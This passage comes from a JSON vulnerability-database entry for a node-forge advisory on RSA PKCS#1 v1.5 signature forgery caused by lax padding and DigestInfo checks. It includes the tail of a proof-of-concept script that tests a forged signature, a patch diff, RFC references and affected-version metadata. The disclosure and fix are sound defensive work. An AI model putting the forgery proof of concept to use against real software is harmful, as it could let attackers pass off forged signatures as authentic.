publicKey,\n    padding: crypto.constants.RSA_PKCS1_PADDING\n  }, controlSig);\n  const forgedNode = crypto.verify('sha256', msg, {\n    key: publicKey,\n    padding: crypto.constants.RSA_PKCS1_PADDING\n  }, sig);\n\n  console.log('control-forge-strict:', controlForge.ok, controlForge.err || '');\n  console.log('control-node:', controlNode);\n  console.log('forgery (forge library, strict):', forgedForge.ok, forgedForge.err || '');\n  console.log('forgery (node/OpenSSL):', forgedNode);\n}\n\nmain();\n```\n</details>\n\n## Suggested Patch\n- Enforce PKCS#1 v1.5 BT=0x01 minimum padding length (`PS >= 8`) in `_decodePkcs1_v1_5` before accepting the block.\n- Update the RSASSA-PKCS1-v1_5 verifier to require canonical DigestInfo structure only (no extra attacker-controlled ASN.1 content beyond expected fields).\n\nHere is a Forge-tested patch to resolve the issue, though it should be verified for consumer projects:\n\n```diff\nindex b207a63..ec8a9c1 100644\n--- a/lib/rsa.js\n+++ b/lib/rsa.js\n@@ -1171,6 +1171,14 @@ pki.setRsaPublicKey = pki.rsa.setPublicKey = function(n, e) {\n             error.errors = errors;\n             throw error;\n           }\n+\n+          if(obj.value.length != 2) {\n+            var error = new Error(\n+              'DigestInfo ASN.1 object must contain exactly 2 fields for ' +\n+              'a valid RSASSA-PKCS1-v1_5 package.');\n+            error.errors = errors;\n+            throw error;\n+          }\n           // check hash algorithm identifier\n           // see PKCS1-v1-5DigestAlgorithms in RFC 8017\n           // FIXME: add support to validator for strict value choices\n@@ -1673,6 +1681,10 @@ function _decodePkcs1_v1_5(em, key, pub, ml) {\n       }\n       ++padNum;\n     }\n+\n+    if (padNum < 8) {\n+      throw new Error('Encryption block is invalid.');\n+    }\n   } else if(bt === 0x02) {\n     // look for 0x00 byte\n     padNum = 0;\n```\n## Resources\n- RFC 2313 (PKCS v1.5): https://datatracker.ietf.org/doc/html/rfc2313#section-8\n  - > This limitation guarantees that the length of the padding string PS is at least eight octets, which is a security condition. \n- RFC 8017: https://www.rfc-editor.org/rfc/rfc8017.html\n- `lib/rsa.js` `key.verify(...)` at lines ~1139-1223.\n- `lib/rsa.js` `_decodePkcs1_v1_5(...)` at lines ~1632-1695.\n\n## Credit\n\nThis vulnerability was discovered as part of a U.C. Berkeley security research project by: Austin Chu, Sohee Kim, and Corban Villa.","state":0,"publishedAt":"2026-03-26T22:02:35+00:00","modifiedAt":"2026-10-01T21:40:55.0162514+00:00","affected":[{"ecosystem":"npm","name":"node-forge","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.4.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/digitalbazaar/forge/security/advisories/GHSA-cfm4-qjh2-4765","https://github.com/digitalbazaar/forge/security/advisories/GHSA-ppp5-5v6c-4jwp","https://nvd.nist.gov/vuln/detail/CVE-2026-33894","https://datatracker.ietf.org/doc/html/rfc2313#section-8","https://github.com/digitalbazaar/forge","https://mailarchive.ietf.org/arch/msg/openpgp/5rnE9ZRN1AokBVj3VqblGlP63QE","https://www.rfc-editor.org/rfc/rfc8017.html"],"sourceUrl":"https://github.com/advisories/GHSA-ppp5-5v6c-4jwp","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-ppp5-5v6c-4jwp","identifiers":["GHSA-ppp5-5v6c-4jwp","CVE-2026-33894","CVE-2026-85393","GHSA-86w9-cpqp-85rv"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. 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